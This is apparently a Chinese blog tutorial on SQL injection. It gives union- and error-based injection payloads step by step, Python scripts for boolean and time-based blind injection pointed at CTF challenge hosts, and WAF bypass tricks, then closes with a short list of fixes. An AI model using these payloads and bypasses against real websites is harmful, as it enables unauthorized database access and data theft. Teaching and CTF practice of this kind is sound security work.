OWASP Top-10 SQL injection
OWASP Top-10系列,此次介绍的是SQL injection 。
上菜!!!
1
SQL injection是什么?
2
注入方法和绕waf
3
漏洞修复方法
#1 SQL injection是什么?
SQL injection是一种利用应用程序对用户输入验证不足或存在漏洞,攻击者通过精心构造包含恶意 SQL 命令的输入,使得应用程序在执行数据库查询时,将这些恶意命令与正常的 SQL 语句一起执行,从而达到绕过身份验证、获取敏感数据、修改或删除数据库内容等目的的攻击方式。
#2 注入方法和绕waf
这里只说明常用注入类型,理论有很多种类型。
SQL注入类型:联合注入、报错注入、基于布尔的盲注、基于时间的盲注。
各种注入之前,需要判断是数字型注入还是字符型注入,相信你们常用的是下面这种方法:
(通过改变1=1和1=2观察页面是否变化来判断是数字型还是字符型,有变化则是数字型)
URL/?id=1and1=1
还有一种判断方法:
(通过改变1^1结果为0和1^0结果为1,观察页面是否变化来判断是数字型还是字符型,有变化则是数字型)
URL/?id=1^1
SQL injection常用注释符:
#(有时可能需要url编码%23)
--
--+
(接下来以字符型为例,实际情况多)
联合注入过程:
1.先判断列数
(如果列数与后端被查询表列数不同,前端页面会不显示内容)(这里以2列为例)
URL/?id=1' order by 2--+
2.获取数据库名
URL/?id=1'union select 1,database()--+
3.获取表名
(0x7e是波浪号~,还有0x5c是反斜杠。用group_concat()的好处是可以显示所有被查询内容,不需要一个一个limit了,功能类似于concat(),用来连接字符,比concat好用)
URL/?id=1'union select 1,group_concat(0x7e,table_name) from information_schema.tables where table_schema=database()--+
4.获取列值
(这里提一嘴,如果相同表名出现在多个数据库,后面的where条件语句还需要加上table_schema='数据库名')
URL/?id=1'union select 1,group_concat(0x7e,column_name) from information_schema.columns where table_name='表名'--+
5.获取列值
(如果相同表名出现在多个数据库,需要加上where table_schema='数据库名'或者from后面接 数据库名.表名 的形式。查多个列值,以,分隔)
URL/?id=1'union select 1,group_concat(0x7e,列名) from 表名--+
报错注入常用函数:
updatexml(1,xxx,3)
extractvalue(1,xxx)
GTID_SUBSET(set1,set2)
......(还有很多,比较常用的是上面三种)
报错注入过程(以updatexml为例):
1.获取数据库名
URL/?id=1'or updatexml(1,group_concat(0x7e,database()),3)--+
2.获取表名
URL/?id=1'or updatexml(1,group_concat(0x7e,(select table_name from information_schema.tables where table_schema=database())),3)--+
3.获取列名
URL/?id=1'or updatexml(1,group_concat(0x7e,(select column_name from information_schema.columns where table_name='表名')),3)--+
4.获取列值(查多个列值,以,分隔)
URL/?id=1'or updatexml(1,group_concat(0x7e,(select 列名 from 表名)),3)--+
基于布尔的盲注
(需要写脚本爆破,这里我给出我的脚本,以下是GET型)
import requests
import time
# URL注意改为http
URL = "http://3b9c0623-c8e0-4bf6-a47e-38ce152da759.node5.buuoj.cn:81/search.php"
flag = ''
# 二分法爆破
for i in range(1, 100):
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# 前面这个1'为假的话,式子是1'^paylaod;1'为真的话,式子是1'^payload^1.看情况修改payload
# 获取数据库名称
payload = f"?id=1'^(ord(substr(database(),{i},1))>{mid})^1"
# 获取表名
# 获取列名
# 获取列值
# 延缓注入速度,防止盲注出来的数据错误
time.sleep(0.1)
response = requests.get(url=URL + payload)
# # 根据盲注为真时页面出现的特征内容进行修改
if'Click' in response.text:
low = mid + 1
else:
high = mid
if low != 32:
flag += chr(low)
else:
break
print(flag)
(POST型如下)
import requests
import time
# URL注意改为http
URL = "http://3b9c0623-c8e0-4bf6-a47e-38ce152da759.node5.buuoj.cn:81/search.php"
flag = ''
# 二分法爆破
for i in range(1, 100):
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# 前面这个1'为假的话,式子是1'^paylaod;1'为真的话,式子是1'^payload^1.看情况修改payload
# 获取数据库名称
payload = f"?id=1'^(ord(substr(database(),{i},1))>{mid})^1"
# 获取表名
# 获取列名
# 获取列值
# 请求体参数设置
data = {
"name": payload,
"pass": '123'
}
# 延缓注入速度,防止盲注出来的数据是错误的
time.sleep(0.1)
response = requests.post(url=URL, data=data)
# 根据盲注为真时页面出现的特征内容进行修改
if'u6216' in response.text:
low = mid + 1
else:
high = mid
if low != 32:
flag += chr(low)
else:
break
print(flag)
基于时间的盲注
(需要写脚本爆破,这里我给出我的脚本,以下是GET型)
import requests
import time
# URL注意改为http
URL = "http://88610d30-a03a-4a5d-8609-f105b3eef7db.node5.buuoj.cn:81/"
flag = ''
for i in range(1, 100):
low = 32
high = 127
while low < high:
mid = (low+high)//2
# 前面这个1'为假的话,式子是1'^paylaod;1'为真的话,式子是1'^payload^1.看情况修改payload
# 获取数据库名称
payload = f"?id=1'^(ord(substr(database(),{i},1))>{mid})^1"
# 获取表名
# 获取列名
# 获取列值
# 记录开始时间
start_time = time.time()
# 根据需要查询的内容改变get中的参数
response = requests.get(url=URL+payload)
# 记录结束时间
end_time = time.time()
# 计算页面响应时间
spend_time = end_time - start_time
# 判断pyload结果,网速够快可以设置为1s,甚至0.5s,完全和布尔盲注一样.通常建议至少2s.
if spend_time > 2:
low = mid + 1
else:
high = mid
if low != 32:
flag += chr(low)
else:
break
print(flag)
(POST型如下)
import requests
import time
# URL注意改为http
url = 'http://510db9ac-263b-4de4-9868-97366281e06d.challenge.ctf.show/api/'
flag = ''
for i in range(1, 100):
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# 前面这个1'为假的话,式子是1'^paylaod;1'为真的话,式子是1'^payload^1.看情况修改payload
# 获取数据库名称
payload = f"?id=1'^(ord(substr(database(),{i},1))>{mid})^1"
# 获取表名
# 获取列名
# 获取列值
# 请求体参数设置
data = {
"username": payload,
"password": "123"
}
# 记录开始时间
start_time = time.time()
# 根据需要查询的内容改变get中的参数
response = requests.post(url=url, data=data)
# 记录结束时间
end_time = time.time()
# 计算页面响应时间
spend_time = end_time - start_time
# 判断pyload结果
if spend_time > 2:
low = mid + 1
else:
high = mid
if low != 32:
flag += chr(low)
else:
break
print(flag)
绕WAF方法
# 过滤空格
1.注释符:/**/
2.特殊字符(比较实用):
%0a(换行符)
%0b(垂直制表符)
%0c(换页符)
%0d(回车符)
%a0(非间断空格)
%09(水平制表符)
%20(空格)(这个着重拿出来批评一下,很没用,几乎就没有成功过,为什么?你仔细想想,浏览器会不会对你传入的%20进行解码,
那么这时候就有大聪明说了,再编码一次,你再仔细想想,服务器一定会帮你解码URL编码数据吗?双URL编码得看情况。。。。)
%00(空字符) (当单引号被过滤时,可以用这个来闭合多余的单引号)
3.括号绕过:()
括号用来包裹子查询语句
# 过滤引号无法包裹表名时
16进制绕过
# 过滤关键字
1.大小写绕过
2.双写绕过(非常鸡肋,实际情况用的少.CTF常考.因为现在过滤不是简单的删除关键字了)
3.注释符绕过:u/**/nion/**/s/**/elect/**/
4.内联注释符:/*!Union*/Select(只可绕过滤组合关键字才有用,比如union select,或者order by.无法绕过过滤单个关键字.常用+连接绕过)
5.等价替换
过滤or:|| (这里会有人说,and呢?说实话,&&这个根本替换不了and,为什么?因为无论你用什么发包,&&会被浏览器、bp、hackbar当作连接参数的字符,而不会当作and)
过滤order: group
过滤=:like
过滤information:1.sys.schema_table_statistics_with_buffer
2.sys.x$schema_table_statistics_with_buffer
3.sys.schema_auto_increment_columns(需要表有自增主键)(root)
# 脏数据绕过
就是在注入语句前面添加很多无用数据(真的是很多数据哈哈哈),超出waf检测数据流的能力,以此来绕过waf检测后面的恶意sql注入(比较实用)
# 分块传输
就是注入语句换行,只适用于POST(我没怎么用过,网上都说没用,是个老技术)
......(还有很多,这里只说了一些)
#3 漏洞修复方法
1.采用白名单验证与正则表达式,限定输入字符范围和格式,确保输入符合预定规则。
2.运用预编译语句(不适用于动态修改表名、列名或查询逻辑的情况)
3.通过代码正则匹配来过滤关键字。
4.封装 SQL 逻辑于存储过程,存储过程在数据库中预编译,可以避免直接执行用户输入的SQL语句。
5.对输出数据编码,防止恶意代码通过输出执行,避免与 XSS 攻击结合。
6.最小化数据库权限。
7.防火墙和 WAF:部署防火墙和 WAF,通过配置规则监控和过滤网络流量,拦截恶意请求。
原文始发于微信公众号(白小客):OWASP Top-10 SQL injection
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论